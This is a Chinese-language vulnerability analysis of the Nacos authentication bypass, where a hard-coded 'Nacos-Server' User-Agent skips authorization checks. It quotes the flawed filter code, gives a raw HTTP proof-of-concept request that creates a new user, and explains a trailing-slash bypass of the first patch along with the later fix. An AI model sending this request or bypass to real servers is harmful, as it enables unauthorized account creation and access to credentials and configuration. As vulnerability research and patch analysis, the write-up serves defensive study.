本文首发于奇安信攻防社区:https://forum.butian.net/share/573
漏洞背景
阿里巴巴在2018年7月份发布Nacos, Nacos是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。简单来说,Nacos就是一个类似于Zookeeper的配置中心。
该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server”,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。
漏洞详情
漏洞出现在com.alibaba.nacos.core.auth.AuthFilter#doFilter
函数,如果useragent等于Constants.NACOS_SERVER_HEADER
这个常量,那么就进入下一个filter,不在进行认证校验。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { if (!authConfigs.isAuthEnabled()) { chain.doFilter(request, response); return; } HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp = (HttpServletResponse) response; String userAgent = WebUtils.getUserAgent(req); if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) { chain.doFilter(request, response); return; } try { Method method = methodsCache.getMethod(req); if (method == null) { chain.doFilter(request, response); return; } if (method.isAnnotationPresent(Secured.class) && authConfigs.isAuthEnabled()) { if (Loggers.AUTH.isDebugEnabled()) { Loggers.AUTH.debug("auth start, request: {} {}", req.getMethod(), req.getRequestURI()); } Secured secured = method.getAnnotation(Secured.class); String action = secured.action().toString(); String resource = secured.resource(); if (StringUtils.isBlank(resource)) { ResourceParser parser = secured.parser().newInstance(); resource = parser.parseName(req); } if (StringUtils.isBlank(resource)) { throw new AccessException("resource name invalid!"); } authManager.auth(new Permission(resource, action), authManager.login(req)); } chain.doFilter(request, response); } catch (AccessException e) { if (Loggers.AUTH.isDebugEnabled()) { Loggers.AUTH.debug("access denied, request: {} {}, reason: {}", req.getMethod(), req.getRequestURI(), e.getErrMsg()); } resp.sendError(HttpServletResponse.SC_FORBIDDEN, e.getErrMsg()); return; } catch (IllegalArgumentException e) { resp.sendError(HttpServletResponse.SC_BAD_REQUEST, ExceptionUtil.getAllExceptionMsg(e)); return; } catch (Exception e) { resp.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Server failed," + e.getMessage()); return; } }
|
绕过认证之后就可以进行很多危险的操作,例如com.alibaba.nacos.console.controller.UserController
中的操作。
1 2 3 4 5 6 7 8 9 10 11 12
| @Secured(resource = NacosAuthConfig.CONSOLE_RESOURCE_NAME_PREFIX + "users", action = ActionTypes.WRITE) @PostMapping public Object createUser(@RequestParam String username, @RequestParam String password) { User user = userDetailsService.getUserFromDatabase(username); if (user != null) { throw new IllegalArgumentException("user '" + username + "' already exist!"); } userDetailsService.createUser(username, PasswordEncoderUtil.encode(password)); return RestResultUtils.success("create user ok!"); }
|
这个controller中包含了创建用户、删除用户等行为
如下poc即可创建一个新用户
1 2 3 4 5 6
| POST /nacos/v1/auth/users?username=123&password=123 HTTP/1.1 User-Agent: Nacos-Server Host: 127.0.0.1:8848 Accept: *
|
补丁修复
在1.4.1版本中,增加了一段修复代码,第一个if中,为原本的逻辑,也是默认情况下的逻辑,依然是判断User-Agent头中是否是以Nacos-server开头,,第二个if中为新增逻辑,从用户的请求中获取一个键值对,判断与配置中的键值对是否相同,如果不相同则不会进入chain.doFilter
补丁绕过
在补丁的第二个if中,如果用户开启了这个安全配置,且攻击者匹配失败,那么不会进入chain.doFilter,而是继续往之后的流程走,而在这段代码的下方,是这段代码
1 2 3 4 5 6 7 8 9
| try { Method method = methodsCache.getMethod(req); if (method == null) { chain.doFilter(request, response); return; }
|
如果能使getMethod方法返回null,那么认证就会被绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public Method getMethod(HttpServletRequest request) { String path = getPath(request); if (path == null) { return null; } String httpMethod = request.getMethod(); String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replace(contextPath, ""); List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey); if (CollectionUtils.isEmpty(requestMappingInfos)) { return null; } List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request); if (CollectionUtils.isEmpty(matchedInfo)) { return null; }
|
从代码来看,有多个返回null的机会,先看第一个getPath函数
1 2 3 4 5 6 7 8 9
| private String getPath(HttpServletRequest request) { String path = null; try { path = new URI(request.getRequestURI()).getPath(); } catch (URISyntaxException e) { LOGGER.error("parse request to path error", e); } return path; }
|
这个是我们的请求路径,不可能为null,看第二部分
1 2 3 4 5
| String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replace(contextPath, ""); List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey); if (CollectionUtils.isEmpty(requestMappingInfos)) { return null; }
|
这个urllookup存放了所有的api
这里的绕过用到了一个小trick,一个普通的请求
通过new URI(request.getRequestURI()).getPath();
处理后,得到的path是/user/login
。
但是如果请求长这个样子
那么得到的path会是/user/login/
而这样子的path,在urlkey中会get不到数据,从而导致了绕过,并且在后续的filter处理中这个多出来的/
并不会影响路由结果。
绕过补丁
官方在这个commit中修复了这此绕过https://github.com/alibaba/nacos/commit/2cc0be6ae1cee1f2bcd2b19886380a15004eae47#diff-d5e3e36338473d502083b47c9a5d3e162203eb17eea81e406bfa2e046ff30c7f。
在urllookup中存放URL路径时均会在最后增加一个/
,导致之前的绕过失效。